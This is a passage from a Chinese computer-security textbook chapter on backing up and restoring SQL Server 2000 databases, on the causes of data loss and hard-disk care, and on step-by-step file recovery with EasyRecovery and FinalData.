数据库备份是一个长期的过程，而恢复只在发生事故后进行，恢复可以看作是备份的逆过程，恢复程度的好坏很大程度上依赖于备份情况。此外，数据库管理员在恢复时采取的步骤正确与否，也直接影响最终的恢复结果。在这里以备份和还原SQL Server 2000数据库为例，介绍数据库的备份和恢复。具体的操作步骤如下。

步骤1　选择【开始】→【程序】→【Microsoft SQL Server】→【企业管理器】菜单项，即可打开【企业管理器】窗口，如图13-91所示。

图　13-91　【企业管理器】窗口

步骤2　在“数据库”列表中右击要备份的数据库，在弹出的快捷菜单中选择【所有任务】→【备份数据库】菜单项，即可打开【SQL Server备份-book】对话框，如图13-92所示。

图　13-92　【SQL Server备份-book】对话框

步骤3　单击【添加】按钮，即可打开【选择备份目的】对话框，如图13-93所示。

图　13-93　【选择备份目的】对话框

步骤4　单击“文件名”栏中空白文本框后面的【浏览】按钮，即可打开【备份设备位置】对话框，如图13-94所示。选择备份文件保存的位置之后，在“文件名”文本框中输入保存的文件名，单击【确定】按钮，即可返回到【选择备份目的】对话框。

图　13-94　【备份设备位置】对话框

步骤5　单击【确定】按钮，即可返回到【SQL Server备份-book】对话框，此时在“备份到”列表中可看到刚添加的备份目录，如图13-95所示。

图　13-95　添加的备份目录

步骤6　单击【确定】按钮，即可开始进行备份。待备份完毕后，即可看到【备份操作已顺利完成】提示框，如图13-96所示。

图　13-96　【备份操作已顺利完成】提示框

步骤7　如果数据库出现问题，可通过备份文件进行恢复。在【企业管理器】窗口的“数据库”列表中右击要恢复的数据库，在弹出的快捷菜单中选择【所有任务】→【还原数据库】菜单项，即可打开【还原数据库】对话框，如图13-97所示。

图　13-97　【还原数据库】对话框

步骤8　在其中设置各项之后，单击【确定】按钮，即可对数据库进行还原。待还原完毕后，即可看到【数据库"book"的还原已顺利完成】提示框，如图13-98所示。单击【确定】按钮，即可将数据库还原到备份前的状态。

图　13-98　【数据库"book"的还原已顺利完成】提示框

注意　如果不小心把【企业管理器】窗口中的数据库文件删除，在还原前需要创建一个空的数据库，且名称与原来相同。

13.3　全面了解数据恢复

在计算机的使用过程中，经常会遇到由于病毒或用户的误操作而造成硬盘数据丢失的情况，这给用户带来很大损失。此时，就可以使用专门的工具进行数据恢复。而数据恢复是一项专业性很强的工作，需要对磁盘结构和文件系统有比较深入的了解。

13.3.1　数据恢复概述

硬盘有价而数据无价，用户往往只有在真正遇到数据危机时才会有切身的感受，尽管存储在各种磁盘中的计算机数据如此重要，但由于技术和工艺的原因，任何存储设备都存在毁损的风险。运行环境的改变和恶化，违规操作或折磨式操作，病毒的破坏和黑客的入侵，以及难以避免的各种异常情况，都可能导致存储设备报废和软件系统崩溃。

数据恢复是指由于各种原因导致数据损失时，把保留在介质上的数据重新还原。即使数据被删除或硬盘出现故障，在介质没有严重受损的情况下，数据均有可能被无损恢复。数据恢复可以是对文件恢复、对恢复物理损伤盘的数据恢复、对不同操作系统数据的恢复、对不同移动数码存储卡的数据恢复等。

格式化或误删除引起的数据损失情况，大部分数据仍未损坏，只要用软件重新恢复连接环节，即可重读数据。如果硬盘因硬件损坏而无法访问，只要更换发生故障的零件，即可恢复数据。数据恢复是出现问题之后的一种补救措施，既不是预防措施，也不是备份。因此，在数据覆盖、低级格式化清零、磁盘盘片严重损坏等一些特殊情况下数据将很难被恢复。

13.3.2　造成数据丢失的原因

数据丢失的原因很多，如病毒、硬盘损坏等都会造成数据丢失，只有弄清楚数据丢失的原因才能为数据恢复做好铺垫。造成数据丢失的原因主要如下。

1.用户的硬盘数据保护意识不高

目前不论企业用户还是个人用户，多数都是在计算机里安装了一种或几种防病毒软件，然后就认为可以高枕无忧了。这种过分依赖防病毒软件的思想使得用户疏忽了对数据的保护，等到数据灾难发生的时候才发觉：原来防护软件并不是万能的！到了那个时候，后悔晚矣！

2.黑客入侵与病毒感染

相信这一因素造成数据灾难所占的比例是最高的了，如今的黑客能在装有防火墙的网络中进出自如，病毒可以在几个小时之内遍布全球，时刻都在威胁着数据的安全，这些都是人们无法预料的事情。

3.硬盘或系统、软件故障

由这一原因造成的数据丢失多数表现为：数据无法找到，系统不认识所使用的装置，机器发出噪声，电脑或硬盘不工作等，这与用户使用电脑的方式和在电脑上安装的软件有关，不能一概而论。

4.自然损坏

风、雷电、洪水以及意外事故（如电磁干扰、地板振动等）也有可能导致数据丢失，不过这一因素出现的可能性比前面三点要低很多。

很多时候，用户找不到的数据往往并没有真正丢失，只要处理得当，恢复是完全有可能的。总体来说，数据恢复可以分为软件恢复和硬件恢复两大类。由病毒感染、误分区、误格式化等造成的数据丢失，仍然有可能使用第三方软件来恢复，至于硬件恢复，如修复盘面划伤、磁组撞毁、芯片以及其他元器件烧坏等，就要请专业的技术人员来解决了。

13.3.3　使用和维护硬盘的注意事项

硬盘出故障的几率比较多，其中有相当一部分是使用者未根据硬盘特点采取切实可行的维护措施所致。因此硬盘在使用中必须加以正确维护，否则会出现故障或缩短使用寿命，甚至殃及所存储的信息，给工作带来不可挽回的损失。

下面介绍一些硬盘在使用过程中应注意的问题：

硬盘读写时不能关掉电源。硬盘进行读写时，硬盘处于高速旋转状态中，如Maxtor（迈拓）的星钻系列3.5英寸硬盘，转速达到每分钟5400转；在硬盘如此高速旋转时，忽然关掉电源，将导致磁头与盘片猛烈摩擦，从而损坏硬盘。所以在关机时，一定要注意面板上的硬盘指示灯，确保硬盘完成读写之后再关机。

注意　防尘，保持使用环境的清洁卫生。环境中灰尘过多，会被吸附到印制电路板的表面及主轴电机的内部；硬盘在较潮湿的环境中工作，会使绝缘电阻下降。这两个现象轻者引起工作不稳定，重者使某些电子器件损坏，或某些对灰尘敏感的传感器不能正常工作。因此要保持环境卫生，减少空气中的含尘量。用户不能自行拆开硬盘盖，否则空气中的灰尘便进入盘内，磁头读/写操作时将划伤盘片或磁头的可能性大大增加，因此硬盘出现故障时决不允许在普通条件下拆开盘体外壳螺钉。

防止硬盘受到震动。硬盘是十分精密的设备，工作时磁头在盘片表面的浮动高度只有几微米。不工作时，磁头与盘片是接触的；硬盘在进行读写操作时，一旦发生较大的震动，就可能造成磁头与数据区相撞击，导致盘片数据区损坏或划盘，甚至丢失硬盘内的文件信息。因此在工作时或关机后，主轴电机尚未停机之前，严禁搬运硬盘，以免磁头与盘片产生撞击而擦伤盘片表面的磁层。在硬盘的安装、拆卸过程中应多加小心，硬盘移动、运输时严禁磕碰，最好用泡沫或海绵包装保护一下，尽量减少震动。

防止潮湿、磁场的影响。硬盘的主轴电机、步进电机及其驱动电路工作时都要发热，在使用中要严格控制环境温度，微机操作室内最好利用空调，将温度调节在20～25℃。在炎热的夏季，要注意监测硬盘周围的环境温度不要超出产品许可的最高温度（一般为40℃），在潮湿的季节要注意使环境干燥或经常给系统加电，靠自身的发热将机内水汽蒸发掉。另外，尽可能使硬盘不要靠近强磁场，如音箱、喇叭、电机、电台等，以免硬盘里所记录的数据因磁化而受到破坏。

随时注意硬盘的整理。硬盘的整理包括根目录整理和硬盘碎块的整理两个方面。根目录一般存放系统文件和子目录文件，如Command.com、Config.sys、Autoexec.bat等个别文件，不要存放其他文件；DOS、Windows等操作系统，文字处理系统及其他应用软件都应该分别建立一个子目录存放。一个清晰、整洁的目录结构会给工作带来方便，同时也避免了软件的重复放置及“垃圾文件”过多浪费硬盘空间，还影响运行速度。硬盘在使用一段时间后，文件的反复存放、删除，往往会使许多文件，尤其大文件在硬盘上占用的扇区不连续，看起来就像一个个碎块，硬盘上碎块过多会极大地影响硬盘的速度，甚至造成死机或程序不能正常运行。

防止计算机病毒对硬盘的破坏。计算机病毒对硬盘中存储的信息是一个很大的威胁，所以应利用版本较新的杀毒软件对硬盘进行定期的病毒检测，一旦发现病毒，应立即采取办法去清除。尽量避免对硬盘进行格式化，因为硬盘格式化会丢失全部数据并减少硬盘的使用寿命。当从外来软盘拷贝信息到硬盘时，先要对软盘进行病毒检查，防止硬盘由此染上病毒。

在工作中最好不要移动主机。硬盘是一种高度精密设备，工作时磁头在盘片表面的浮动高度只有零点几微米。当硬盘处于读写状态时，一旦发生较大的震动，就可能造成磁头与盘片的撞击，导致损坏。所以不要搬动运行中的主机。

13.4　强大的数据恢复工具

遇到数据丢失、文档误删除等情况，像普通的数据丢失可使用专门数据恢复软件进行恢复。本节将介绍EasyRecovery和FinalData这两款数据恢复软件。

13.4.1　EasyRecovery使用详解

EasyRecovery是一个威力非常强大的硬盘数据恢复工具，能够恢复丢失的数据以及重建文件系统。可以从被病毒破坏或已格式化的硬盘中恢复数据，可恢复大于8.4GB的硬盘，支持长文件名。被破坏的硬盘中像丢失的引导记录、BIOS参数数据块、分区表、FAT表、引导区都可以由它来进行恢复。

1.EasyRecovery数据恢复原理

使用EasyRecovery找回数据、文件的前提是硬盘中还保留有文件的信息和数据块。如果用户进行删除文件或格式化硬盘等操作之后，又在对应分区写入了大量新信息，需恢复的数据就有可能被覆盖，此时绝对不能找到要恢复的文件。通过EasyRecovery进行数据恢复就是将分布在硬盘上不同位置的文件碎块找回来，并根据统计信息将这些文件碎块进行重新整理，EasyRecovery会在内存中建立一个虚拟文件夹系统，并列出所有的目录和文件。

2.用EasyRecovery修复还原数据

在完成安装之后，就可以使用EasyRecovery对误删除的文件进行数据还原。

具体操作步骤如下。

步骤1　在EasyRecovery安装完毕之后，选择【开始】→【程序】→【EasyRecovery6.12.02汉化版】→【EasyRecovery】菜单项，即可打开【EasyRecovery】主窗口，如图13-99所示。

图　13-99　【EasyRecovery】主窗口

步骤2　单击右侧的【数据恢复】按钮，即可打开【数据恢复】窗口，如图13-100所示。

图　13-100　【数据恢复】窗口

步骤3　单击【高级恢复】按钮，即可打开【正在扫描系统】对话框，如图13-101所示。在扫描结束之后，即可弹出【目标警告】提示框，如图13-102所示。

图　13-101　【正在扫描系统】对话框

注意　使用【高级恢复】功能选项进行数据恢复和从一个被格式化的卷中恢复文件时，不依赖任何文件系统结构信息。另外，恢复被误删除的文件时，应尽量记住该文件原来所在路径，将使恢复简易很多。

图　13-102　【目标警告】提示框

步骤4　单击【确定】按钮，即可打开【选择要恢复数据的分区】窗口，如图13-103所示。假设误删除发生在D盘，在“磁盘”列表中选择D盘，即可在右侧看到该磁盘相关信息。

图　13-103　【选择要恢复数据的分区】窗口

步骤5　单击【高级选项】按钮，即可打开【高级选项】对话框，在“恢复选项”选项卡中勾选相应复选框来设置要恢复的文件类型，如图13-104所示。

图　13-104　【高级选项】对话框

步骤6　单击【前进】按钮，即可开始对选定的磁盘进行扫描，如图13-105所示。在扫描完毕之后，即可在右窗格中看到该磁盘中所有被删除的文件，如图13-106所示。依次勾选被误删除的文件前面的复选框。

图　13-105　扫描文件

图　13-106　选中要恢复的文件

步骤7　单击【前进】按钮，即可打开【选择保存路径】窗口，如图13-107所示。单击【浏览】按钮，在打开的对话框中设置恢复文件的保存路径。单击【前进】按钮，即可开始将文件恢复到指定的位置，如图13-108所示。

图　13-107　【选择保存路径】窗口

图　13-108　正在恢复文件

注意　最好将恢复的文件保存到另外一个磁盘中，因为保存到原来的地方可能会覆盖原来的数据信息，将会导致恢复的文件损坏或不能使用。

步骤8　完成文件恢复操作之后，EasyRecovery将会弹出【恢复摘要】窗口，在其中可以看到本次恢复文件的详细信息，以及恢复状况，如图13-109所示。单击【完成】按钮，即可打开【保存恢复】对话框，如图13-110所示。

图　13-109　【恢复摘要】窗口

图　13-110　【保存恢复】对话框

步骤9　单击【否】按钮，即可完成恢复，如果还有其他的文件要恢复，则可单击【是】按钮。在找到刚才指定的恢复路径之后，打开恢复的文件，即可发现恢复过来的文件完好无损，说明数据已被完全恢复，达到了数据恢复的目的。

3.EasyRecovery其他恢复功能

除数据恢复功能外，EasyRecovery还具有文件恢复、邮件恢复以及磁盘诊断等功能。如果常用文件被损坏（Office文件、压缩包、电子邮件等），可使用EasyRecovery进行恢复。

具体的操作步骤如下。

步骤1　在【EasyRecovery】主窗口中单击右侧的【文件修复】按钮，即可打开【文件修复】窗口，如图13-111所示。可以看出文件修复包括Access修复、Excel修复、PowerPoint修复、Word修复以及Zip修复等5种子功能。

图　13-111　【文件修复】窗口

步骤2　如果想修复损坏的压缩包，则单击【Zip修复】按钮，即可打开【Zip修复】对话框，如图13-112所示。

图　13-112　【Zip修复】对话框

步骤3　单击【浏览文件】按钮，即可打开【打开】对话框，在其中选择要修复的文件夹，如图13-113所示。单击【打开】按钮，即可返回到【Zip修复】对话框中，此时在“待修复的文件”列表中可看到选择的压缩包，如图13-114所示。

图　13-113　【打开】对话框

图　13-114　选择的压缩包

步骤4　在选中刚添加的压缩包后，单击【前进】按钮，即可打开【正在修复文件】窗口，在其中可以看到修复文件的具体情况，如图13-115所示。

图　13-115　【正在修复文件】窗口

步骤5　待修复完毕之后，即可看到【摘要】提示框，如图13-116所示。提示用户已经修复所选的文件，可以运行zip软件来打开修复的文件。

图　13-116　【摘要】提示框

步骤6　单击【确定】按钮，即可打开【修复报告】窗口，在其中显示了选定的文件、修复后文件的保存位置以及修复的进度，如图13-117所示。

图　13-117　【修复报告】窗口

步骤7　单击【完成】按钮，即可完成修复操作。按照修复报告中修复后文件的保存位置打开修复后的文件，即可发现损坏的压缩包被成功修复。

步骤8　在EasyRecovery中还可以修复损坏的Outlook和Outlook Express文件。在【Easy-Recovery】主窗口中单击右侧的【Email修复】按钮，即可打开【Email修复】窗口，如图13-118所示。单击相应按钮可进行相应的修复操作，其操作步骤与修复压缩包大致相同。

图　13-118　【Email修复】窗口

据调查，数据丢失后很大程序上是可以恢复的，之所以会出现不能修复的情况，大多数都是因为用户在后来的恢复过程中存在误操作，从而造成更大损失。

13.4.2　FinalData使用详解

一般情况下，病毒和黑客通常都是选择磁盘引导区、分区信息和目录入口等地方进行攻击，只需破坏少量关键信息就可以造成大量数据文件甚至使整个磁盘不可用；而错误的重新分区和格式化危害最大，FinalData的强大恢复功能可以帮助用户找回丢失的数据。

1.FinalData简介

在Windows环境下删除一个文件，只是把目录信息从FAT或MFT（NTFS）删除，而文件数据仍然留在磁盘上。从技术角度来讲，这个文件是可以恢复的。FinalData就是通过这个原理来恢复丢失的数据的，在清空回收站以后也不例外。另外，FinalData可以很容易地从格式化后的文件和被病毒破坏的文件恢复。甚至在极端的情况下，如果目录结构被部分破坏也可以恢复，只要数据仍然保存在硬盘上。

2.使用FinalData进行数据恢复

FinalData是一款可以在回收站清空之后仍进行数据恢复的软件，这里以FinalData Enterprise为例介绍该工具的安装和恢复数据过程。具体的操作步骤如下。

步骤1　下载并运行FinalData v2.0企业版，即可打开【FinalData】主窗口，如图13-119所示。选择【文件】→【打开】菜单项，即可打开【选择驱动器】对话框，在“逻辑驱动器”选项卡下选择包含想要恢复数据的驱动器，如图13-120所示。

图　13-119　【FinalData】主窗口

图　13-120　【选择驱动器】对话框

注意　由于格式化或分区信息被破坏等原因造成逻辑驱动器不能识别，可能在“逻辑驱动器”选项卡中找不到目标驱动器，在“物理驱动器”选项卡中选择包含要恢复数据的物理驱动器。如果FinalData不能自动识别丢失分区的文件系统格式，可在【选择驱动器】对话框中单击【查找格式】按钮，手工执行操作。

步骤2　在选择驱动器之后，单击【确定】按钮，即可对选定的磁盘进行一个快速扫描，如图13-121所示。待扫描完毕后，即可看到【选择要搜索的簇范围】对话框，在其中设置簇的起始大小，如图13-122所示。

图　13-121　扫描磁盘根目录

图　13-122　【选择要搜索的簇范围】对话框

步骤3　单击【确定】按钮，则出现一个【簇扫描】提示框，其中显示了扫描的进度、扫描所需的时间、目录总数以及找到的目录，如图13-123所示。扫描时间取决于磁盘大小和CPU速度，待扫描完毕后，即可在【FinalData】主窗口中看到已找到的已删除文件夹信息，如图13-124所示。

图　13-123　【簇扫描】提示框

图　13-124　找到的删除文件夹

步骤4　右击要恢复的文件，在弹出的快捷菜单中选择“恢复”选项，即可打开【选择要保存的文件夹】对话框，如图13-125所示。在其中选择一个没有被损坏的驱动盘，最好不要选择D盘（这里选择E盘），也可以选择E盘下面的某个文件夹。

图　13-125　【选择要保存的文件夹】对话框

步骤5　单击【保存】按钮，即可出现【保存进度】提示框，如图13-126所示。在恢复完成之后，就可以检查该文件恢复的情况，看看是否已经完全恢复。

图　13-126　【保存进度】提示框

即使使用了FDISK删除了硬盘的分区，在运行FinalData扫描磁盘时，选择物理硬盘还是能恢复的。对于那些遭受到类似于CIH等病毒，修改了系统文件而造成的损害也可以恢复，但对于那些被病毒直接破坏的文件将无能为力。

13.5　专家点拨

点拨1：用FinalData等软件能恢复一些以前删除的文件，但有时候会希望某些文件（如病毒文件）删除后就不能被恢复。该如何彻底删除这些文件呢？

解答：在文件被彻底删除之后，其实在硬盘上并没有删除，只是将存放这个文件的硬盘磁道标记出来，等待其他新文件的覆盖，这也是为什么删除文件后，FinalData之类软件能够恢复的原理所在。知道了这个原理，只要往删除文件的地方添加一些新文件，把原来的文件覆盖一下，则恢复软件就无能为力了。

点拨2：如果突然发现保存在硬盘上的数据丢失了，这时应该做些什么工作呢？

解答：当遭遇到这种情况时，用户最好立即应该停止一切不必要的操作。如果是误删除、误格式化造成的数据信息丢失，则最好不要再往硬盘中写入数据；如果是硬盘出现坏道而读不出了数据，则最好不要继续反复读盘；如果是硬盘摔坏的情况，则最好不要再加电，要想进行数据恢复工作，就需要请教专家了。

13.6　总结与经验积累

本章详细介绍了数据备份和数据恢复的概念，造成数据丢失的原因，数据备份的作用以及如何恢复丢失的数据等。通过使用EasyRecovery和FinalData等数据恢复软件，可以掌握恢复误删文件的具体方法，以将损失降到最低。

数据备份和恢复工具是IT人员的必备工具。对系统定时进行补丁升级，可以有效弥补系统本身所包含的漏洞，为计算机的运行提供更加安全的工作环境。影响计算机数据安全的因素有很多，这就要求用户时刻提高安全防范的意识，养成数据备份的习惯，学会使用数据恢复工具恢复丢失的数据，才能保证自己的数据万无一失。

光盘地址

下载链接： http://datasource.d.ireader.com/files/10164454.zip